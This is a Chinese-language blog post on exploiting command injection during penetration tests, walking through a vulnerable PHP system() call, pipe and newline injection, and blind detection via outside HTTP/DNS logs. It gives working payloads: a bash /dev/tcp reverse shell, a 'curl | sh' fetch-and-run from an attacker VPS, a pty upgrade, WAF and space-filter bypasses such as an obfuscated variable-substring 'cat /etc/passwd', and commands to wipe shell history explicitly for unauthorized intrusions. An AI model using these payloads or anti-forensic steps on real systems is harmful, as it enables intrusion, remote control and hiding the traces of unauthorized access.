..

命令注入一些利用技巧

前言

如果在做渗透的时候如果能发现一处命令注入,肯定会特别开心,这个时候就离进内网不远了,但往往会遇到各种限制,本文记录一些利用技巧。

首先要先区分命令注入和代码执行的区别,这是两种不同的概念,很容易搞混。

可以看这篇文章 命令注入与代码执行的判断

命令注入我遇到绝大部分环境都是 Linux,Win 也有但是很少很少(可能是还是做渗透少)所以本文着重分享 Linux 下的一些姿势

判断

命令注入大致可分为有回显和没回显两种,检测判断方法可以参照@RickGray 所写的 漏洞检测的那些事儿 或者用 sleep 判断响应时间,有点像 SQL injection 时间盲注。

发现

根据判断方式一般准确度很高,可能存在漏洞的位置可能也是千奇百怪,如吴师傅曾发现过在发短信位置的命令注入,猜测这个位置有调用 sh ,或者无脑 fuzz,在可控的位置都打上 Payload 往往也会有奇效,运气成分很大。

如果是拼接,比如

<?php

$vul = $_GET['vul'];

echo("grep {$vul} /etc/hosts -C 10");
echo '<br/>';
system("grep {$vul} /etc/hosts -C 10");

这里直接拼接进入 system 函数,存在命令注入,但由于前面有 grep命令,直接提交想执行的命令是行不通的,这时要利用一些方法 比如管道符 ** | **,

或者换行 ** %0a **

利用

有回显自然方便,可以直接当做一个 “Shell接口”,不过容易遇到编码的坑也没有 tty 那样方便,这个时候就要考虑反弹 Shell 出来,反弹 Shell 是让目标主机主动连接你,所以需要有一个外网 IP 才行,常用的一条反弹命令,更多 文· Reverse Shell Cheat Sheet

bash -i >& /dev/tcp/10.0.0.1/2333 0>&1

然后用 Python 得到一个 tty Shell,更多 文· Spawning a TTY Shell

python -c 'import pty; pty.spawn("/bin/bash")'

这样就得到一个 tty Shell,更方便做一些操作

更多情况我们遇到的命令注入可能都是不回显的,没有回显就不能从执行命令页面的返回内容来判断是否存在漏洞,然后就要用到一个更高级的判断方式,利用外部 http 访问记录或者 dns 记录来判断,我更喜欢把这种方式叫做 Cloudeye,想念毕鸽子一秒钟。0x02 有介绍。

乌云上 lijiejie 发过几个隐式命令注入估计也是用的这种方法做的判断,黑盒扫描,所有能控制的位置都打一发 payload

之前 zone 里有帖子讨论过不回显的命令注入怎么带数据,各种集思广益脑洞很大的方法,红老师这篇文章有介绍是比较全了,文·Tankeye使用宝典

有时候命令注入可能会有过滤某些字符或者各种编码坑,可以使用管道符 “|”

可以这样,在vps 开 http,index.html 内容写** bash -i >& /dev/tcp/10.0.0.1/2333 0>&1 **

curl 10.0.0.1 | sh

或者用重定向 “>” 写文件再执行也是一样,有时候会遇到反弹不出来,可以选择反弹到80或者443,或者换其他反弹 Shell 方式。

如果你在做未授权的渗透测试在反弹 Shell 后最好执行一下下面的命令,防止被记录到history

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;export HISTSIZE=0; export HISTFILESIZE=0

绕过

得益于 bash 的灵活性,命令注入绕 waf 还是很简单的。

@zTrix 在16年阿里安全峰会有分享一些姿势 PPT · 论WAF的新玩法

比如

更激进一点, 这里利用上顿号,或者使用**$()**的方式

或者用16进制,理论上其他能 decode 的编码应该都可以

或者用变量

如果空格被过滤,@猪猪侠 的小秘圈 ‘安全技术’ 中学到的姿势

@Mickey 老师的分享,$IFS的方法都很熟悉了,**{,,}**这个方法真的眼前一亮

拆分环境变量

${SHELLOPTS:3:1}at${IFS}${PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswd

读文件绕过空格用 <> 重定向符和 ${IFS}

更多技巧等待发掘